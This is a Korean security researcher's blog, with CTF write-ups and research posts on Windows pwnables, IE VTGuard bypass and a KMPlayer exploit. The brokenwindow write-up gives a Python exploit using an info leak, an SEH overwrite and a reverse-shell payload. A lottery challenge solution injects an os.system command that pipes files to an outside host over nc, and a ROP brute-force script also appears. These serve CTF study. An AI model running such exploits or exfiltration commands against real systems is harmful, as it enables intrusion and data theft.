안녕하세요.


오랜만에 포스팅 거리가 없었는데 새로 생겼네요!


제가 고3 시절 KISA 버그바운티 기념품으로 USB를 받았는데 잘 쓰다가 갑자기 죽어버린 USB가 있었습니다.


그 USB에는 여러 Exploit Code들과 제 자기소개서등이 들어있었는데 인식이 불가능해서 일단 보관해두고 있었는데


얼마전에 갑자기 인식에 성공해서 파일을 복구[?] 하는데 성공했습니다 ㅋㅋ


2013년에 시간이 멈춰버린 파일들을 구경하다 보니 별의별 것들이 나왔는데.. (bob 자기소개서, 대학 자기소개서, 모의전형 자기소개서 등..)


그중에 KMPlayer Exploit 코드가 있길래 2년이 반이라는 충분한 시간이 지났으니 공개해보려고 합니다 ㅋㅋ


이게 제 첫번째 공개 취약점이 될 것 같네요


당시에는 제 익스플로잇 기술이 매우 허접한 편이라서 매우 낮은 확률의 코드를 짰었네요..


취약점을 공부하는 분들을 위해서 패치기간이 2년이나 지났으니 더이상 동작하지 않을 것이라 보고..


예전 익스플로잇 코드를 공개하겠습니다. (사실 별거아닙니다.. 워낙 허접해서.. 확률도 30% 남짓이었던걸로 기억합니다.)


당시에 Exploit 조건이 매우 까다로워서 (ASLR, DEP ASCII Only etc) 어쩔수 없이 그랬던 걸로 기억하네요 :(


http://pastebin.com/rvxLzka7


어쨋든!


공부하실 분들이 있을 것 같아 공개합니다 ㅎㅎ



위는 시연 영상입니다.


오랜만에 새벽에 뻘글.. :)

  1. 알 수 없는 사용자 2015.11.12 07:41

    감사합니다 ㅎㅎ :)

  2. 익명 2015.11.12 08:09

    비밀댓글입니다

  3. ㅈㅈ 2017.10.10 13:16

    해당 취약점은 퍼저를 통해 찾으신건가요?

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2017.10.11 20:00 신고

      퍼징 툴을 이용하진 않았고 flac 메타데이터를 바꿔주는 툴을 이용하여 정보들에 A를 수십만개 넣는 방식으로 발견했던 취약점으로 기억합니다!




오랜만의 기술문서를 배포하게 되었습니다.


화이트해시, 그레이해시 인턴 과정을 거치면서 연구했던 IE의 보호기법과 현재 나와있는 우회법을 간단하게 정리했습니다.


기술에서 테크니컬한 내용은 자세하게 다루지 않았습니다. 대신 중간중간 참고할만한 링크도 함께 걸어두었습니다.


도움이 되었으면 좋겠습니다.



* 틀린점이 있다면 sweetchip@sweetchip.kr 이나 아래 댓글로 달아주시면 감사하겠습니다.


- https://beistlab.wordpress.com/2015/01/15/grayhash_ie_memory_protection/





블로그 포스팅을 너무 오랫동안 안했네요!!...


그동안 바쁘긴 했는데.. 그래도 뭐좀 쓰자 해서.. 얼마전에 출제한 문제의 write-up이 적절할 것 같아서 쓰기로 했습니다!


14년 11월 6일부터 7일! 2일간 POC 컨퍼런스가 있었습니다.


[위는 POC에서 얻은 것들.. 이번 입장권은 이쁘네요.. ㅎㅎ]


그리고 POC 이벤트 행사 중 여성해킹대회인 POWER OF XX 본선 경기가 있었습니다.


POX는 숙명여대 SISS와 HackerSchool - Wiseguys 팀이 함께 진행하는 행사였고 저는 작년과 마찬가지로 문제 출제를 담당했습니다.


아쉽게도 이번엔 바쁜일이 많아서 문제를 1개밖에 출제하지 못했었네요.. ㅠㅠ


아무튼 이번에 제가 출제했던 분야는 Pwnable이고 특이하게도 리눅스에서의 Pwnable이 아닌 윈도우에서의 Pwnable 문제입니다.


주로 리눅스보다 윈도우에서 시스템 해킹분야를 공부하다 보니 나름[?] 신선하겠다 해서 출제를 결심하게 되었습니다.


게다가 본선 진출팀중에서 윈도우 시스템 해킹을 공부했던 분이 몇분 있는걸로 알고 있고, 또 문제도 그리 어렵게 내지는 않을거라서 별 문제 없겠다 생각했습니다.


Binary :

brokenwindow


Description :

Can you Break Windows?

Key Example : flag{this_is_flag} -> this_is_flag

[Pwnable]


본격적인 풀이에 들어가기 앞서..

현재 Binary에 적용된 메모리 보호기법은 아래와 같습니다.
ASLR : ON
DEP : OFF
STACK COOKIE : ON
SAFE SEH : OFF

ASLR은 메모리 배치를 무작위로 해서 Exploit을 어렵게 하는것이고 Stack Cookie는 BOF를 체크하는 문제입니다.


4가지 보호기법 모두 컴파일러에 기본적으로 적용되어 있는 메모리 프로텍션들입니다.


하지만 난이도를 조절하기 위하여 일부 보호기법을 해제했습니다.


문제 컨셉은 제로데이 마켓입니다. (뭘 할까 하다가..)


sub_401000 proc near


var_4= dword ptr -4


push ebp

mov ebp, esp

push ecx

mov [ebp var_4], ecx

mov eax, [ebp var_4]

mov dword ptr [eax], 5 ; my_zeroday

mov ecx, [ebp var_4]

mov dword ptr [ecx 4], 2710h // 10000

mov edx, [ebp var_4]

mov dword ptr [edx 328h], offset sub_401070 // Function Pointer

mov eax, [ebp var_4]

mov esp, ebp

pop ebp

retn

우선 구조체를 설정하는 부분입니다.


위를 다시 코드로 정리해보면 아래와 같습니다


typedef struct st

{

int my_zeroday = 5;

int money = 10000;

??? // char description[500];

??? // char name[300]; - 두 값 모두 보이지는 않지만 실제론 이렇게 되어있습니다.

void* func_ptr = &sub_401070;

}st;


그리고..


sub_401070 proc near

push ebp

mov ebp, esp

push offset aThankYou_HaveA ; "[*] Thank you. Have a nice day\n"

call _puts

add esp, 4

pop ebp

retn


구조체 중 Function Pointer를 보면 단순하게 '고맙습니다, 좋은하루 되세여' 라는 뜻의 문장을 출력해주는 함수입니다.


이 다음부턴 급 귀찮아지니 우리의 친구 F5를 사용하겠습니다


signed int __cdecl sub_401090()

{

int v0; // eax@1

void (*v2)(void); // [sp 4h] [bp-370h]@0

int v3; // [sp 8h] [bp-36Ch]@5

int v4; // [sp Ch] [bp-368h]@1

int v5; // [sp 10h] [bp-364h]@6

char v6; // [sp 14h] [bp-360h]@13

char v7; // [sp 208h] [bp-16Ch]@13

void (*v8)(void); // [sp 334h] [bp-40h]@8

char WideCharStr; // [sp 338h] [bp-3Ch]@5

char v10; // [sp 33Ch] [bp-38h]@16


v0 = sub_40138A();

setvbuf((FILE *)(v0 32), 0, 4, 0);

sub_401000(&v4);

while ( dword_4154E4 < 30 )

{

dword_4154E4;

if ( dword_4154E4 > 50 )

exit(0);

sub_401030();

puts("> ");

sub_40A587(0, (LPWSTR)&WideCharStr, 2u);

v3 = sub_402175(&WideCharStr);

if ( v3 == 1 )

{

if ( v5 >= 5000 )

{

v5 -= 5000;

puts("[*] You bought a new 0day! and paid 5000won.");

v2 = v8;

v8();

}

else

{

puts("[-] You don't have any money. Go back..");

}

}

else if ( v3 == 2 )

{

if ( v4 >= 1 )

{

puts("[ ] Input Vulnerability Title : ");

sub_40A587(0, &::WideCharStr, 0x12Cu);

memmove(&v7, &::WideCharStr, 0x12Cu); // Information Leak

puts("[ ] Input Details about your 0-day: ");

sub_40A587(0, &word_4151C0, 0x1F4u);

memmove(&v6, &word_4151C0, 0x1F4u);

sub_40147B("[*] Title : %s\n[*] DESC : %s\n", (unsigned int)&v7);

puts("[*] Thank you! you got 3000Won");

((void (__cdecl *)(void (*)(void), void (*)(void)))v8)(v8, v2);

v5 = 3000;

--v4;

}

else

{

puts("[-] Hmm, I don't have any zeroday..");

}

}

else

{

if ( v3 == 3 )

{

puts("[ ] HELLO? : ");

sub_40167F("%s", (unsigned int)&v10); // scanf BOF!!

puts("[*] YOU GOT PWNED :)");

return 1;

}

if ( !v3 )

{

puts("[-] bye");

return 1;

}

puts("[?] WTF");

}

}

return 1;

}


우선 코드를 간단하게 정리해보면

처음 메뉴 1,2,3 을 출력하고 각 선택할때 분기문으로 흘러갑니다.

1번 분기는 제로데이를 구입하는것이고

2번 분기는 제로데이를 판매하는데 title과 description을 적습니다. 그리고 임시로 전역변수에 담고 이후 구조체변수에 담습니다.

3번 분기는 제로데이를 마음껏 사용하는 메뉴입니다.


하나하나 살펴보면..


3번 분기에서 scanf와 %s로 인하여 Buffer Overflow 취약점이 발생하고 Return Address를 덮어쓸 수 있습니다.


하지만! 아까 처음 보호기법에 의하면 ASLR과 Stack Cookie가 적용되어 있기 때문에, 리턴어드레스를 덮어씌우는 것 만으로는 부족합니다.


하지만! DEP가 설정되어있지 않기 때문에 쉘코드 실행은 간단하죠!


하지만! 쉘코드를 어디에 둬야 하는지 약간 의문이 들기도 합니다. 이것에 대한 답은 2번 분기에서 Vuln Title과 Description을 적는곳이 있었는데


이부분에 잠시 전역변수에 값을 담고 구조체로 옮기기 때문에 전역변수에 쉘코드를 담는다면 다른 메뉴로 가도 여전히 쉘코드가 남아있을 것입니다.


이때 전역변수의 값은 Base address offset 이고, offset은 일정하기 때문에 Base Address만 구해주면 문제를 간단하게 해결할 수 있습니다.


또한 이때 Base Address는 2번 메뉴의 memmove 함수로 인하여 구조체의 Function Pointer의 값을 유출할 수 있습니다. (Info Leak)


마지막으로 Stack Cookie 보호기법이 있기때문에 Return Address의 값을 손상시켜도 EIP가 제대로 컨트롤 되지 않을 것입니다.


이는 SEH Overwrite를 이용하여 우회할 수 있습니다. 간단하게 설명하면 SE Handler 값을 변조시키고 의도적으로 Exception을 발생하면 EIP 변경이 가능합니다.


자세한건 검색!



써놓고보니 복잡하지만 다시 정리하면


1. BOF 취약점

2. 전역변수에 쉘코드를 담고

3. Info Leak으로 Function Pointer의 값을 유출 시켜 Base Address를 구한뒤

4. SEH Overwrite로 전역변수 위치(Base Address offset)로 EIP 변조


위 과정을 거치면 쉘을 딸 수 있습니다.


#exploit.py

from socket import *

import threading

import time

import struct


up = lambda x : struct.unpack("

p = lambda x : struct.pack("



def payload():

# metasploit

# use payload/window/shell_reverse_tcp

# bad char : 0x00 0xff 0x0a 0x0d 0x1a

shellcode =( 삭제 )

result = ""

result = "\x90"*50

result = shellcode

return result


def bad():

result = ""

for i in range(1, 26):

result = chr(i)

return result


ip = "192.168.0.93"

port = 1337

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


time.sleep(0.1)

print s.recv(2048)

s.send("2")

print s.recv(4096)

s.send("A"*300)

time.sleep(0.1)

print s.recv(4096)

p = payload() "A"*(500-len(payload()))

s.send(p)

time.sleep(0.1)

temp = s.recv(40960)

ptr = temp.split("A"*300)[1].split("[*]")[0].replace("\x0d\x0a","")[0:4] # RAW memor (leaked)

print temp


if len(ptr) == 3:

ptr = "\x00"


print ptr.encode("hex")

print "base address : " hex(up(ptr)&0xffff0000)

print "shellcode address : "

shellptr = ((up(ptr)&0xffff0000) 0x151c0 0x20)



s.send("3")

time.sleep(0.1)

print s.recv(4096)

exploit = "A"*116

exploit = struct.pack("

exploit = "D"*10000

s.send(exploit)


s.close()



확률은 거의 90% (aslr 때문에..)로 작동합니다.



C:\Users\sweetchip\Desktop>exploit.py

[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


[ ] Input Vulnerability Title :


[ ] Input Details about your 0-day:


[*] Title : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?


[*] DESC : 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱柏?$??B?O1r꺜

r캠??塢까??J次.gx蝕?,理?

홃뱩?

DR?눛씵xsN??;㎯!|0?궃ㅨ괺\Td?0?k6?섏}?=}穗???笠잶

렁[?\쎒V盖梓?벣앵E냰?꺢??

j픽]$괼7냟y?樺?}%a곽p?lu?z2 <1???&W힅?2샹-~zT\程Z?:AAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?

[*] Thank you! you got 3000Won

[*] Thank you. Have a nice day


[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


70101e01

base address : 0x11e0000L

shellcode address :

[ ] HELLO? :



C:\Users\sweetchip>nc -lvp 31337

listening on [any] 31337 ...

connect to [192.168.0.93] from [Blind] [192.168.0.93] 62851

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.


K:\prob_server>dir

dir

K 드라이브의 볼륨: [Blind]

볼륨 일련 번호: A497-E7DC


K:\prob_server 디렉터리


2014-11-09 오후 09:02

.

2014-11-09 오후 09:02

..

2014-11-06 오전 09:50 84,992 brokenwindow.exe

2014-11-06 오전 10:22 45 key.txt

2014-11-06 오전 09:50 75,264 loader.exe

2014-11-03 오전 11:09 32 run.bat

4개 파일 160,333 바이트

2개 디렉터리 5,296,316,416 바이트 남음


K:\prob_server>type key.txt

type key.txt

flag{Only_True_Love_Can_Break_Frozen_Windows}

K:\prob_server>


Key : Only_True_Love_Can_Break_Frozen_Windows


키는 POC 2014에서 passket & SNE, "Only True Love Can Thaw frozen SCADA Systems" 의 발표제목을 참고했습니다. ㅋㅋ


음...


끝!! ㅋㅋ



  1. Reset 2014.11.09 21:55

    이거 푼 팀이 있음?ㅋㅋㅋㅋㅋㅋㅋㅋ

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2014.11.10 00:15 신고

      전반적으로 팀들이 시도를 안하는것 같았음..
      그래서 푼팀은 없었음.. ㅠㅠ 아쉽

  2. hakbaby 2014.11.10 10:21

    휴 아쉽당 ㅠㅠ 시도라두 해볼걸 ㅠㅠ
    괜히 겁먹어서는 ㅠㅠ 에효
    다음엔 꼭 풀께요!!! :D

  3. bloneplay 2014.11.11 18:59

    재밌게 잘 만든 문제같은데 시도한 팀도 많이 없었다니 아쉽네요 ㅋ

  4. 익명 2018.05.07 19:59

    비밀댓글입니다


오랜만의 포스팅!


지난번 데프콘에 갈 기회가 생겨서 다녀오게 되었는데 귀국후 바로 인코그니토 CTF와 친척들과의 휴가, 그리고 인코그니토 발표까지


대략 2주동안 힘들게 지낸끝에 모든일이 끝났다 ㅎㅎ..



2월 말까지 BOB 프로젝트로 웹브라우저 취약점 헌팅과 7월 말까지 WhiteHash를 진행하게 되면서 다시 한번 웹브라우저 취약점 헌팅에 도전하면서


IE를 분석하게될 일이 있었는데 VTGuard에 대해서 몇글자 써보려고 한다.




IE 10부터 VTGuard가 적용되었는데 이는 IE만의 Memory Protection중 하나이다.


VTGuard의 원래 이름은 Vtable Guard인데 원래 Vtable에 있어야 하는 일정한 쿠키값과 현재 Vtable의 쿠키값을 비교해서 무결성을 체크하는 기법이다.


그 원리에 대해서 간단하게 알아보자




우선 mshtml.dll의 내부를 뜯어보면 __vtguard 라는 함수가 자리를 차지하고 있는데 함수의 내용을 살펴보면


mov edi, edi

int 3

retn


이 끝이다. 처음 봤을때는 이게 진짜 끝인가 하고 이름을 좀더 추측해서 여러가지를 찾아봤지만 이 vtguard 함수가 끝이다.




그러다가 xref를 살펴보니 엄청나게 많은 양의 참조가 있는것을 보았는데 대부분 사용되는 것은 구조체안의 또다른 구조체 어느 값(vtable값중 일부)과 vtguard의 주소를 비교하는 것을 볼 수 있다.




이처럼 처음 mov ecx, [esi] 로 vtable의 pointer를 얻어오고 cmp dword ptr [ecx 328h]로 vtable cookie를 확인하는 것을 볼 수 있다.


간단하게 다시 글로 나타내면


|ptr to vtable| ???? | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie| <- Vtable


대략 이런 형태로 볼 수 있는데, 이때 cookie 값에는 mshtml이 로드된 뒤, (base address offset __vtguard) 의 값이 저장되어 있을 것이다.





그렇다면 어떤 효과가 있을까?


Heap Overflow에서는 효과가 적을 수도 있겟지만, Use After Free 취약점에 대해서는 어느정도 방어가 가능하다.


만약 위 그림의 .text:636dc10f의 ESI 레지스터가 Free된 Object의 포인터이고 공격자가 Object의 내용을 조종한 상태라고 가정한다.


또한 정상적인 Heap object와 vtable에는 각각 정상적인 ptr to vtable값과 cookie값이 들어가 있을 것이다.


------------------------------------------------------------------------------------------

정상적인 Heap Object

|Ptr to vtable (0x100a324b)| ???? | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie (0x63d2dfb4)| <- Vtable

------------------------------------------------------------------------------------------

UAF 취약점으로 인하여 변조된 Heap Object

|Ptr to vtable (0x12121212)| 0x12121212 | 0x12121212 | 0x12121212 | 0x12121212 | 0x12121212| <- Fake Heap Object

|0x0c0c0c0c|0x0c0c0c0c|0x0c0c0c0c| ... |0x0c0c0c0c|cookie(0x0c0c0c0c)| <- Fake Vtable

------------------------------------------------------------------------------------------


Object를 0x12121212 로 채워넣고 0x12121212 주소에는 0x0c0c0c0c가 채워져있다.


이 상태로 Vtguard 루틴으로 들어갈 경우 cmp dword ptr [ecx 328], offset __vtguard 부분에서 걸러지고




이후 프로세스가 혼자 죽어버린다.




엄청난 우회법은 현재 나와있지 않은 상태이다.


하지만 Vtguard는 __vtguard 함수의 주소를 Cookie로 사용하고 있기때문에 Information disclosure 버그로 mshtml의 Base Address 주소와


현재 mshtml 버전의 __vtguard 함수의 Offset만 더해서 구해주고 Fake Vtable에 삽입하면 된다.


하지만 말처럼 Information disclosure 버그를 찾는게 쉬운게 아니라서 조금더 간단한 방법을 찾아봐야 한다.



일단 Vtguard는 모든 Vtable에 대하여 적용된 것이 아니다.


또한 vtguard 체크 부분은 함수 실행 직전에 존재하며 함수 실행 여부는 이전의 분기문에서 결정된다.


또한 Heap object에는 생각보다 많은 정보를 담고 있다. 예를들어 다른 object의 주소같은것도 포함되어있다.



그러므로 UAF가 발생하고 Fake Object를 제작한 다음


vtable 함수 호출 분기문 이전에 여러 분기문으로 옮겨 다닐 수 있다면 Vtguard에 영향받지 않을 수도 있다는 것이다.


왜냐하면 조금전에 Vtguard는 모든 Vtable에 대해서 적용되지 않았기 때문에 아래와 같은 일이 일어날 수 있다.


|ptr to vtable| Heap object | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie| <- Vtable


Object가 만약 이렇게 구성되어 있고 운이 좋다면 Heap object 를 사용하는 분기문으로 이동 할 수도 있다.


|ptr to vtable| ???? | ???? | ???? | ???? | ???? | <- Heap object

|????|????|????|????|????|????| <- Vtable


그리고 이처럼 그 Object는 Vtguard가 적용되지 않은 Vtable의 주소를 가지고 있으면 게임 끝이다. (vtguard는 일부에만 적용된 것이므로 은근 이런 case가 간혹 있다. 끝까지 잘 찾아보자.)


이로써 (운이 좋으면) Vtguard에 영향을 받지 않고도 EIP Control이 가능하다.



Conclusion.


운이 좋으면 Vtguard에 영향받지 않고 EIP를 바꿔버릴 수 있다. 포기하지 말고 끝까지 살펴보자.



Reference


http://neilscomputerblog.blogspot.kr/2014/04/vtguard.html




만약 틀린 정보가 있으면 댓글 달아주시면 감사하겠습니다. (졸면서 글을 쓰고 있네요.. 틀린점이 있을지도.. ㅋㅋ )


바로 수정하겠습니다!


ps. 같이 연구하면서 도움을 주신 몽형 감사합니다.


  1. 익명 2014.08.21 11:07

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2014.08.26 23:09 신고

      시스템 해킹과 관련된 지식이 필요합니다.
      감사합니다.





안녕하세요 sweetchip입니다.


BOB 2기 2학기당시 진행한 프로젝트를 진행하는 도중에 이전에 공개된 취약점을 분석하고 Exploit을 진행 했던 과정이 있었습니다.


그당시 문서로도 함께 제작해두었는데 왠지 필요하신 분이 있을것 같아서


그리고 조금더 분석을 편리하게 하는 방법을 공유하고자 문서를 공개하게 되었습니다.


당시 IE 분석은 '처음' 이었기 때문에 주로 취약점 분석과 공격을 '검색'하고 실습하면서 작성했기 때문에 IE 취약점 분석을 많이 해보신 분이라면


에이 뭐야 하실수도 있는 내용입니다.


도움이 되었으면 합니다.



CVE-2012-4792 Analysis Report(sweetchip)_release.pdf




문서의 대부분은 짱짱해커들이 있는 Exodus Intelligence와 타 문서들, 그리고 블로그를 참고했고 다른 내용도 여러 블로그를 참고하면서 작성했습니다.


* 틀린 내용이 있다면 꼭 반드시 sweetchip@sweetchip.kr 로 보내주시면 감사하겠습니다.

  1. Codetronik 2014.09.26 14:36

    감사히 잘 보겠습니다






invalid-file


C:\Users\Administrator>nc 58.229.183.27 7787

Welcome to lottery service


-------- the Hall of Fame --------

No one was win!

Good luck!

----------------------------------


Please pick 7 numbers in 1 to 45

Choice 1: 2

Choice 2: 7

Choice 3: 9

Choice 4: 15

Choice 5: 17

Choice 6: 18

Choice 7: 34

Congratulations!


We will record your name in the Hall of Fame!

Your name: sweetchip

Comment: __import__('os').system('dir|nc 220.117.247.200 12071')

__import__('os').system('cat key|nc 220.117.247.200 12071')

Thank you for your time


C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

58.229.183.27: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.27] 37075: NO_DATA

examples.desktop key lotto.pyc





C:\Users\Administrator>nc 58.229.183.27 7787

Welcome to lottery service


-------- the Hall of Fame --------

No one was win!

Good luck!

----------------------------------


Please pick 7 numbers in 1 to 45

Choice 1: 5

Choice 2: 13

Choice 3: 15

Choice 4: 17

Choice 5: 19

Choice 6: 28

Choice 7: 41

Congratulations!


We will record your name in the Hall of Fame!

Your name: sweetchip

Comment: __import__('os').system('cat key|nc 220.117.247.200 12071')


Thank you for your time


C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

58.229.183.27: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.27] 37076: NO_DATA

ProtiP_BO0ZE_TO_K1LL_HANGOVER



간단한 파이썬으로 작성된 문제이다.


무작위로 생성된 7개의 숫자를 맞추면 코멘트를 남길 수 있는 방식인데


여기서 간단하게 트릭을 사용할 수 있다.


랜덤값은 시간값을 베이스로 생성되는데 nc를 2개를 타닥 연결시키고 한개를 아무 숫자나 넣어주고 틀리면 정답이었던 숫자들이 출력되는데


이미 연결되었던 다른 nc에 똑같이 그 값을 입력하면 대부분 성공할 수 있었다.


문제 점수를 보면 아마 제작자의 의도는 이게 아니었을것으로 예상된다.


어쩃든 성공시키고 나면 eval 함수를 이용해서 명령을 시행하는데 적절하게 잘 해주면 키파일을 열 수 있다.


  1. Favicon of http://k5b.dothome.co.kr BlogIcon 허허허허 2014.02.17 13:38

    허허허 ..
    nc를 2개를 한다니.. 그런 방법이라니.. 놀랍습니다. 하하하



binary :

SERVER.rb


require 'drb/drb'


# The URI to connect to

#SERVER_URI="druby://127.0.0.1:8988"

SERVER_URI="druby://23.23.190.205:8988"


# Start a local DRbServer to handle callbacks.

#

# Not necessary for this small example, but will be required

# as soon as we pass a non-marshallable object as an argument

# to a dRuby call.

DRb.start_service


timeserver = DRbObject.new_with_uri(SERVER_URI)

puts timeserver.get_current_time1



서버가 닫혀있어서 시도해보진 못햇지만 잘못된 메소드 이름을 사용하면 오류가 발생할것이고


그 안에 변수로 설정된 flag도 함께 출력된다


위 exploit이 다르면 덧글로 달아주세요


관리자에게 서버 관련 문의를 해도 정상적이라는 답변만 돌아와서 시도하지는 못했습니다.



주제 : simple stack based buffer overflow


binary :

chall_heap



import time

import struct


p = lambda x : struct.pack("


write = 0x08048440


ppppr = 0x080486a6

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1



payload = "A" * 0x64


for i in range(0x09371008, 0x094ed008, 0x1000):

payload = p(write) # ret here

payload = p(pppr)

payload = p(1)

payload = p(i)

payload = p(0x1000)


f = open("a.txt", "wb")

f.write(payload)

f.close()


"""

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# execstack ./chall_heap

- ./chall_heap

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# while [ 1 ] ; do (cat a.txt) | nc 23.23.190.205 8976 ; done > nc.txt

^C

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# cat nc.txt | sort | uniq -c

1 ?Good Enough? Pwn Me!

1 96d1c4d1f47b666928a37f7dd6a4383e

77 Good Enough? Pwn Me!


key : 96d1c4d1f47b666928a37f7dd6a4383e


"""


위 코드로 100번정도 brute-force를 시도하면 한번정도는 키가 줄력된다


으아아ㅏ..


flag : 96d1c4d1f47b666928a37f7dd6a4383e

  1. hackim 2014.02.13 04:11

    for문에 있는 범위가 flag가 저장된 메모리 위치인가요??
    그 위치라면 0x804a008이던데 저 값이 어디서 나왔는지 알고싶네요:D

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2014.02.13 13:24 신고

      제가 문제풀때는 Heap 영역에 aslr이 적용되어 있었으나 0804a008, 0804c008 이런식으로 일정하게 되어있어서 예상되는 부분을 범위를 모두 send하도록 해서 한곳이라도 키값이 존재한다면 받을 수 있도록 했습니다.

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2014.02.13 13:25 신고

      이 방법보단 got overwrite [어디선가 본 풀이..]를 하시는게 더 나을듯 하네요

  2. hackim 2014.02.13 13:46

    아...ASLR적용됐었군요..ㅎㅎ
    답변 감사합니다. :D

+ Recent posts